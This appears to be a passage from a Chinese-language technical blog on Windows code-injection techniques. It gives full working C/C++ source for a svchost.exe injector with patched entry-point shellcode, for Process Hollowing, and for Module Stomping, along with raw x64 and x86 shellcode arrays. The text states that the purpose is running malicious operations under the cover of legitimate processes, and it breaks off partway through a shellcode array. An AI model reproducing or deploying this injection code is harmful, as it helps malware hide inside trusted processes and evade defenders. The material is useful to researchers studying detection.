static PFNWriteProcessMemory		pfnWriteProcessMemory = NULL;
static PFNCreateProcess			    pfnCreateProcess = NULL;
static PFNResumeThread				pfnResumeThread = NULL;

static PFNWinStationTerminateProcess pfnWinStationTerminateProcess = NULL;

BOOL Initialize()
{
	HMODULE ntdll = GetModuleHandleA("ntdll.dll");
	pfnmemset = (_pfnmemset)GetProcAddress(ntdll, "memset");
	pfnmemcpy = (_pfnmemcpy)GetProcAddress(ntdll, "memcpy");
	pfnZwQueryInformationProcess = (PFNZwQueryInformationProcess)GetProcAddress(ntdll, "ZwQueryInformationProcess");

	HMODULE Kernel = GetModuleHandleA("kernel32.dll");
	pfnVirtualAllocEx = (PFNVirtualAllocEx)GetProcAddress(Kernel, "VirtualAllocEx");
	pfnWriteProcessMemory = (PFNWriteProcessMemory)GetProcAddress(Kernel, "WriteProcessMemory");
	pfnCreateProcess = (PFNCreateProcess)GetProcAddress(Kernel, "CreateProcessA");
	pfnResumeThread = (PFNResumeThread)GetProcAddress(Kernel, "ResumeThread");

	HMODULE hWinStaDll = LoadLibrary(TEXT("WINSTA.dll"));
	pfnWinStationTerminateProcess = (PFNWinStationTerminateProcess)GetProcAddress(hWinStaDll, "WinStationTerminateProcess");

	if (pfnmemcpy == NULL ||
		pfnmemset == NULL ||
		pfnZwQueryInformationProcess == NULL ||
		pfnVirtualAllocEx == NULL ||
		pfnWriteProcessMemory == NULL ||
		pfnCreateProcess == NULL ||
		pfnResumeThread == NULL
		) {
		return FALSE;
	}

	return TRUE;
}

// -1 不是合法PE 1 32位 2 64位 3 未知
int AnalyzeBuffer(LPBYTE pBuffer) {
	IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pBuffer;
	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		return -1;
	}

	IMAGE_NT_HEADERS* pNtHeader = (IMAGE_NT_HEADERS*)((char*)pBuffer + pDosHeader->e_lfanew);
	if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
	{
		return -1;
	}

	if (pNtHeader->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
	{
		return 1;
	}

	if (pNtHeader->FileHeader.Machine == IMAGE_FILE_MACHINE_IA64 ||
		pNtHeader->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
	{
		return 2;
	}

	return 3;
}

BOOL StartProcess(LPBYTE pBuffer, DWORD Length)
{
	STARTUPINFO			si;
	PROCESS_INFORMATION pi;
	PEB					peb;
	SIZE_T				Index = 0;
	SHELLCODE			ShellCode;
	SHELLCODE64         ShellCode64;
	PROCESS_BASIC_INFORMATION pbi;

	IMAGE_DOS_HEADER ImgDosheader;
	IMAGE_NT_HEADERS ImgNtHeaders;

	SIZE_T len = 0;
	LPVOID remoteBuffer = NULL;
	LPVOID remoteShell = NULL;
	CHAR FilePath[MAX_PATH];

	pfnmemset(FilePath, 0, MAX_PATH);
	pfnmemset(&si, 0, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO);

	GetWindowsDirectory(FilePath, MAX_PATH);

	BOOL bWow64 = FALSE;
	switch (AnalyzeBuffer(pBuffer))
	{
	case 1:
	{
		bWow64 = TRUE;
		break;
	}
	case 2:
	{
		bWow64 = FALSE;
		break;
	}
	default:
		return FALSE;
	}

	if (bWow64)
	{
		StringCbCat(FilePath, MAX_PATH, "\\SysWOW64\\svchost.exe");
	}
	else
	{
		StringCbCat(FilePath, MAX_PATH, "\\system32\\svchost.exe");
	}

	if (FALSE == pfnCreateProcess(FilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
		return FALSE;
	}

	pfnZwQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), (PULONG)&Index);
	ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(PEB), &Index);

	remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (remoteBuffer == 0)
		return FALSE;

	WriteProcessMemory(pi.hProcess, remoteBuffer, pBuffer, Length, &len);

	if (bWow64)
	{
		remoteShell = VirtualAllocEx(pi.hProcess, NULL, SHELLCODE_LENGTH, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (remoteShell == NULL)
			return FALSE;

		WriteProcessMemory(pi.hProcess, remoteShell, SHELLCODE_BUFFER, SHELLCODE_LENGTH, &len);
	}
	else
	{
		remoteShell = VirtualAllocEx(pi.hProcess, NULL, SHELLCODE_LENGTH64, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (remoteShell == NULL)
			return FALSE;

		WriteProcessMemory(pi.hProcess, remoteShell, SHELLCODE_BUFFER64, SHELLCODE_LENGTH64, &len);
	}

	if (FALSE == ReadProcessMemory(pi.hProcess, peb.ImageBaseAddress, &ImgDosheader, sizeof(IMAGE_DOS_HEADER), &len))
		return FALSE;

	if (FALSE == ReadProcessMemory(pi.hProcess, (LPBYTE)peb.ImageBaseAddress + ImgDosheader.e_lfanew, &ImgNtHeaders, sizeof(IMAGE_NT_HEADERS), &len)) {
		return FALSE;
	}

	LPVOID Entry = (LPBYTE)peb.ImageBaseAddress + ImgNtHeaders.OptionalHeader.AddressOfEntryPoint;

	if (bWow64)
	{
		ShellCode.Push1 = 0x68;
		ShellCode.Call = 0xe8;

		ShellCode.CallAddress = (DWORD)remoteShell - (DWORD)Entry - sizeof(SHELLCODE);
		ShellCode.BufferAddress = (DWORD)remoteBuffer;

		if (FALSE == WriteProcessMemory(pi.hProcess, Entry, &ShellCode, sizeof(SHELLCODE), &len))
			return FALSE;
	}
	else
	{
		//sub rsp, -0x28
		ShellCode64.Sub1 = 0x48;
		ShellCode64.Sub2 = 0x83;
		ShellCode64.Sub3 = 0xEC;
		ShellCode64.Sub4 = 0x28;

		//mov rcx64, CallAddress
		ShellCode64.Mov1 = 0x48;
		ShellCode64.Rcx = 0xB9;
		ShellCode64.CallAddress = (__int64)remoteShell + 0x190;

		//mov rax64, BufferAddress
		ShellCode64.Mov2 = 0x48;
		ShellCode64.Rax2 = 0xB8;
		ShellCode64.BufferAddress = (__int64)remoteBuffer;

		//call ra64x
		ShellCode64.Call = 0xFF;
		ShellCode64.Rax3 = 0xD0;

		//add rsp, 0x28
		ShellCode64.Sub5 = 0x48;
		ShellCode64.Sub6 = 0x83;
		ShellCode64.Sub7 = 0xC4;
		ShellCode64.Sub8 = 0x28;

		//jmp rax
		ShellCode64.Jmp = 0xFF;
		ShellCode64.Rax4 = 0xE0;

		if (FALSE == WriteProcessMemory(pi.hProcess, Entry, &ShellCode64, sizeof(SHELLCODE64), &len))
			return FALSE;
	}

	ResumeThread(pi.hThread);

	return TRUE;
}

int main() {
	LPVOID lpFileBuffer = NULL;
	CHAR szFilePath[] = "LuoDst_x64.exe";
	DWORD dwFileSize = 0;
	dwFileSize = LuoReadFile(szFilePath, &lpFileBuffer);

	if (Initialize())
	{
		StartProcess((LPBYTE)lpFileBuffer, dwFileSize);
	}

	system("pause");
	return 0;
}

Process Hollowing

此技术也可称为傀儡进程,亦可称为PE映像切换技术.

原理:

借助正常的软件进程或系统进程的外壳来执行非正常的恶意操作.

  1. 挂起创建一个正常程序,如svchost.exe.
  2. 利用NtQueryInformationProcess拿到上述挂起进程的PEB结构.
  3. 利用NtUnmapViewOfSection将上述挂起进程的内存映射清除.
  4. 利用VirtualAllocEx在上述挂起进程中申请到原pPEB->lpImageBaseAddress地址.
  5. 利用WriteProcessMemory将我们写的程序复制到上述挂起进程中.
  6. 如果上述挂起进程的ImageBaseAddress与我们写的程序的ImageBaseAddress有差别,那就根据重定位表进行修复.
  7. 恢复上述挂起的进程.

相关源码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#include "stdafx.h"
#include <processthreadsapi.h>
#include "pe.h"
HANDLE CreateHollowedProcess(LPSTR lpCommandLine, LPSTR lpSourceFile)
{
	cout << "-->Creating Process." << endl;
	//指定窗口工作站,桌面,标准句柄以及创建时进程主窗口的外观的结构体
	LPSTARTUPINFOA lpStartupInfo = new STARTUPINFOA();
	LPPROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION();
	HANDLE hProcess;
	CreateProcessA(NULL, 
		lpCommandLine, 
		NULL,
		NULL, 
		NULL, 
		CREATE_SUSPENDED, 
		NULL, 
		NULL, 
		lpStartupInfo, 
		lpProcessInformation
	);
	hProcess = lpProcessInformation->hProcess;
	cout << lpProcessInformation->dwProcessId << endl;
	if (!hProcess)
	{
		cout << "-->Create Process Failed." << endl;
		return hProcess;
	}
	_PPEB pPEB = ReadRemotePEB(hProcess);
	//PLOADED_IMAGE pImage = ReadRemoteImage(hProcess,pPEB->lpImageBaseAddress);
	cout << "-->Opening source image." << endl;
	HANDLE hFile = CreateFileA(lpSourceFile, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		cout << "-->Open EXE File Filed." << endl;
		return hProcess;
	}
	DWORD dwSize = GetFileSize(hFile, 0);
	PBYTE pBuffer = new BYTE[dwSize];
	DWORD dwBytesRead = 0;
	ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, NULL);
	PLOADED_IMAGE pSourceImage = GetLoadedImage((ULONG_PTR)pBuffer);
	PIMAGE_NT_HEADERS pSourceHeader = pSourceImage->FileHeader;
	cout << "-->Unmapping Destination Section." << endl;
	HMODULE hNTDLL = GetModuleHandleA("ntdll");
	_NtUnmapViewOfSection NtUnmapViewSection = (_NtUnmapViewOfSection)GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
	DWORD dwResult = NtUnmapViewSection(lpProcessInformation->hProcess, pPEB->lpImageBaseAddress);
	if (dwResult)
	{
		cout << "-->Error Unmapping Section." << endl;
		return hProcess;
	}


	//计算镜像大小
	DWORD lastSectionEnd = 0;//最后节+数据长度的地址
	DWORD endOfSection = 0;
	SYSTEM_INFO sysInfo;
	DWORD alignedImageSize = 0;

	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(pSourceHeader);
	//节的对齐粒度
	DWORD optionoalSectionSize = pSourceHeader->OptionalHeader.SectionAlignment;
	for (int i = 0; i < (pSourceHeader->FileHeader.NumberOfSections); i++, section++)
	{
		//如果节中没有数据,则保留一节
		if (section->SizeOfRawData == 0)
			endOfSection = section->VirtualAddress + optionoalSectionSize;
		else
			endOfSection = section->VirtualAddress + (section->SizeOfRawData);
		if (endOfSection > lastSectionEnd)
			lastSectionEnd = endOfSection;
	}
	//通过系统信息获取页面大小
	GetNativeSystemInfo(&sysInfo);
	//最后一节与页面对齐
	alignedImageSize = AlignValueUp(lastSectionEnd, sysInfo.dwPageSize);
	if (alignedImageSize != AlignValueUp(lastSectionEnd, sysInfo.dwPageSize))
		return hProcess;
	cout << "-->Allocating Memory." << endl;
	LPVOID pRemoteImage = VirtualAllocEx
	(
		lpProcessInformation->hProcess,
		pPEB->lpImageBaseAddress,
		alignedImageSize,
		MEM_RESERVE,//参考Memory Module方式
		PAGE_READWRITE
	);
	if (!pRemoteImage)
	{
		cout << "-->Allocate Memory Failed." << endl;
		cout << "-->Error Code:" << GetLastError() << endl;
		return hProcess;
	}
	//装载地址与默认地址的差值
	ULONG_PTR upDelta = (ULONG_PTR)pPEB->lpImageBaseAddress - pSourceHeader->OptionalHeader.ImageBase;
	cout << hex << "Source Image BaseAddress:" << pSourceHeader->OptionalHeader.ImageBase << endl;
	cout << hex << "Destination Image BaseAddress:" << pPEB->lpImageBaseAddress << endl;
	cout << hex << "Relocation Delat:" << upDelta << endl;

	pSourceHeader->OptionalHeader.ImageBase = (ULONG_PTR)pPEB->lpImageBaseAddress;
	cout << "-->Writing Headers" << endl;

	//提交内存
	VirtualAllocEx
	(
		lpProcessInformation->hProcess,
		pPEB->lpImageBaseAddress,
		pSourceHeader->OptionalHeader.SizeOfHeaders,
		MEM_COMMIT,//参考Memory Module方式
		PAGE_READWRITE
	);

	if (!WriteProcessMemory
	(
		lpProcessInformation->hProcess,
		pPEB->lpImageBaseAddress,
		pBuffer,
		pSourceHeader->OptionalHeader.SizeOfHeaders,
		NULL
	))
	{
		cout << "Writing Header Failed." << endl;
		return hProcess;
	}
	cout << "-->Writing Sections." << endl;
	if (!CopySections(hProcess, (ULONG_PTR)pPEB->lpImageBaseAddress, (ULONG_PTR)pBuffer))
	{
		cout << "Copy Secitons Failed." << endl;
		return hProcess;
	}
	cout << "-->Start Delta." << endl;
	//开始重定位
	if(upDelta)
		for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
		{
		
			LPSTR pSectionName = ".reloc";
			if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName)))
				continue;
			cout << "-->Rebasing Image." << endl;
			//文件中的偏移
			DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;
			DWORD dwOffset = 0;
			IMAGE_DATA_DIRECTORY relocData = pSourceHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
			while (dwOffset < relocData.Size)
			{
				PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];
				dwOffset += sizeof(BASE_RELOCATION_BLOCK);
				//重定位块中的重定位项数
				DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);

				PBASE_RELOCATION_ENTRY pBlockEntrys = (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];
				for (DWORD y = 0; y < dwEntryCount; y++)
				{
					dwOffset += sizeof(BASE_RELOCATION_ENTRY);
					//
					if (pBlockEntrys[y].Type == 0)
						continue;
					DWORD dwFieldAddress = pBlockheader->PageAddress + pBlockEntrys[y].Offset;
					ULONG_PTR upBuffer = 0;
					ReadProcessMemory
					(
						hProcess,
						(PVOID)((ULONG_PTR)pPEB->lpImageBaseAddress + dwFieldAddress),
						&upBuffer,
						sizeof(ULONG_PTR), 0
					);

					upBuffer += upDelta;
					bool bSuccess = WriteProcessMemory
					(
						hProcess,
						(PVOID)((ULONG_PTR)pPEB->lpImageBaseAddress + dwFieldAddress),
						&upBuffer,
						sizeof(ULONG_PTR),

						0
					);
					if (!bSuccess)
					{
						cout << "Failed to Rebase" << endl;
						continue;
					}
				}//end for
			}//end while

			break;
		}//end for
	if (!FinalizeSections(hProcess, (ULONG_PTR)pPEB->lpImageBaseAddress, (ULONG_PTR)pBuffer))
	{
		cout << "Finalize Section Failed." << endl;
		return hProcess;
	}
	DWORD dwBreakpoint = 0xCC;
	ULONG_PTR dwEntryPoint = (ULONG_PTR)pPEB->lpImageBaseAddress +
		pSourceHeader->OptionalHeader.AddressOfEntryPoint;
	LPCONTEXT pContext = new CONTEXT();
	pContext->ContextFlags = CONTEXT_INTEGER;
	cout << "-->Getting Thread Context." << endl;
	if (!GetThreadContext(lpProcessInformation->hThread, pContext))
	{
		cout << "Get Context Failed." << endl;
		return hProcess;
	}
#ifdef  _WIN64
	pContext->Rcx = dwEntryPoint;
#else
	pContext->Eax = dwEntryPoint;
#endif //  _WIN64
	cout << "Setting Thread Context." << endl;
	if (!SetThreadContext(lpProcessInformation->hThread, pContext))
	{
		cout << "Setting Context Failed." << endl;
		return hProcess;
	}
	cout << "Resuming Thread." << endl;
	if (!ResumeThread(lpProcessInformation->hThread))
	{
		cout << "Resume Thread Failed" << endl;
		return hProcess;
	}

	return hProcess;
}

Module Stomping

该方法通过在目标进程中加载一个合法DLL,然后将shellcode或恶意DLL覆写到这个合法DLL的地址空间里.

原理:

  1. 利用OpenProcess,VirtualAllocEx在目标进程中申请一片内存.
  2. 利用WriteProcessMemory将合法Dll的路径写入目标进程中.
  3. 利用CreateRemoteThread传入LoadLibraryA以及上述合法Dll的路径,在目标进程中加载上述合法Dll.
  4. 利用EnumProcessModules在目标进程中找到上述合法Dll的基地址,进而找到EP.
  5. 利用WriteProcessMemory在目标进程合法Dll的EP处写入ShellCode.
  6. 利用CreateRemoteThread传入上述合法Dll的EP,进而执行我们的ShellCode.

相关源码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <string>

// Find our loaded module base
HMODULE FindModuleBase(HANDLE hProcess) {
	HMODULE hModuleList[1024];
	wchar_t moduleName[MAX_PATH];
	DWORD cb = sizeof(hModuleList);
	DWORD cbNeeded;
	// Enumerates all the modules in the process
	// and retrieve handle of all modules
	if (EnumProcessModules(hProcess, hModuleList, cbNeeded, &cbNeeded)) {
		for (unsigned int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
			// Getting full path of the module
			// Alternatively we can use API GetModuleBaseNameA
			if (GetModuleFileNameEx(hProcess, hModuleList[i], moduleName, (sizeof(moduleName) / sizeof(DWORD)))) {
				// Comapring if the module path has our dll
				if (wcsstr(moduleName, L"filemgmt.dll") != nullptr) {
					return hModuleList[i];
					break;
				}
			}
		}
	}
	return 0;
}

LPVOID FindEntryPoint(HANDLE hProcess, HMODULE hModule) {
	//BYTE* targetDLLHeader[0x1000];
	LPVOID targetDLLHeader = { 0 };
	DWORD sizeOfHeader = 0x1000;
	// Allocate local heap
	targetDLLHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeOfHeader);
	// Reading the header of target dll 
	ReadProcessMemory(hProcess, (LPVOID)hModule, targetDLLHeader, sizeOfHeader, NULL);
	PIMAGE_DOS_HEADER dosHeder = (PIMAGE_DOS_HEADER)targetDLLHeader;
	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetDLLHeader + dosHeder->e_lfanew);
	// Getting entry point of the target dll
	DWORD_PTR dllEntryPoint = ntHeaders->OptionalHeader.AddressOfEntryPoint;
	wprintf(L"[+] DllEntryPoint offset: %p\n", (LPVOID)dllEntryPoint);
	// DLL EntryPoint in memory
	LPVOID dllEntryPointMem = (LPVOID)(dllEntryPoint + (DWORD_PTR)hModule);
	wprintf(L"[+] DllEntryPoint in memory: %p\n", dllEntryPointMem);
	return dllEntryPointMem;
}

BOOL ModuleStomp(unsigned char buf[], SIZE_T payloadSize, DWORD pid) {
	HANDLE hProcess = INVALID_HANDLE_VALUE;
	HANDLE hTargetModule = NULL;

	// module to load 
#ifdef _WIN64
	LPCSTR targetLibrary = "C:\\temp\\modules\\64\\filemgmt.dll";
#else
	//LPCSTR targetLibrary = "C:\\temp\\modules\\86\\filemgmt.dll";
	LPCSTR targetLibrary = "C:/Windows/SysWOW64/filemgmt.dll";
#endif
	LPVOID memBase;
	HMODULE moduleBase;
	LPVOID entryPoint = { 0 };
	wprintf(L"[+] Opening the target process, pid: %d\n", pid);
	// Open the target process with PID
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == INVALID_HANDLE_VALUE) {
		perror("[-] Couldn't find the target process\n");
		exit(-1);
	}

	size_t targetSize = lstrlenA(targetLibrary);
	// Allocate memory in the target process
	memBase = VirtualAllocEx(hProcess, NULL, targetSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (memBase == 0) {
		printf("%d\n", GetLastError());
		perror("[-] Failed to allocate memory in target process\n");
		exit(-1);
	}
	wprintf(L"[+] Memory allocated at remote process address: %p\n", memBase);

	// Writing target library path to the newly allocated memory in target process
	if (!WriteProcessMemory(hProcess, memBase, targetLibrary, targetSize, NULL)) {
		perror("[-] Failed to write module in target process memory\n");
		exit(-1);
	}
	wprintf(L"[+] DLL path written to the allocated memory\n");

	// Getting Address to the LoadLibraryA and converting it to the Thread routine
	LPTHREAD_START_ROUTINE LoadModule = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
	if (LoadModule == NULL) {
		perror("[-] Couldn't find the module LoadLibraryA\n");
		exit(-1);
	}
	// Creating remote thread 
	// This will load our target module in the target process
	hTargetModule = CreateRemoteThread(hProcess, NULL, 0, LoadModule, memBase, 0, NULL);
	if (hTargetModule == INVALID_HANDLE_VALUE) {
		perror("[-] Failed to load module in target process memory\n");
		exit(-1);
	}
	wprintf(L"[+] Successfully loaded module in the memory...\n");
	WaitForSingleObject(hTargetModule, 2000);

	// Finding loaded module base
	moduleBase = FindModuleBase(hProcess);
	if (moduleBase == 0) {
		perror("[-] Module is not loaded in the memory\n");
		exit(-1);
	}

	// Finding entrypoint of loaded module
	entryPoint = FindEntryPoint(hProcess, moduleBase);
	
	// writing payload into the entrypoint of loaded module
	if (!WriteProcessMemory(hProcess, entryPoint, buf, payloadSize, NULL)) {
		perror("[-] Unable to write payload into the dll\n ");
		exit(-1);
	}
	wprintf(L"[+] Payload written to the entrypoint of target module...\n");
	// Executing the payload
	CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)entryPoint, NULL, 0, 0);
	wprintf(L"[+] Payload Executed... \n");
	return TRUE;
}

int main(int argc, char* argv[]) {
	if (argc < 2) {
		wprintf(L"CWLImplant.exe pid\n");
		exit(-1);
	}
#ifdef _WIN64
	// Calc Shellcode
	//unsigned char buf[] =
	//	"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
	//	"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
	//	"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
	//	"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
	//	"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
	//	"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
	//	"\x48\x83\xec\x20\x41\xff\xd6";

	// hello world shellcode
	unsigned char buf[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
		"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
		"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
		"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
		"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
		"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
		"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
		"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
		"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
		"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
		"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
		"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
		"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
		"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
		"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
		"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
		"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
		"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
		"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
		"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
		"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
		"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
		"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
		"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
		"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
		"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
		"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
		"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
		"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
#else
	unsigned char buf[] =
		"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
		"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
		"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
		"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
		"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
		"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
		"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
		"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
		"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
		"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
		"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
		"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
		"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
		"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6e\x58\x20\x20\x68\x63\x74"
		"\x69\x6f\x68\x49\x6e\x6a\x65\x68\x65\x73\x73\x20\x68\x50\x72"
		"\x6f\x63\x31\xdb\x88\x5c\x24\x11\x89\xe3\x68\x61\x62\x73\x58"
		"\x68\x61\x72\x65\x4c\x68\x57\x61\x72\x46\x68\x79\x62\x65\x72"
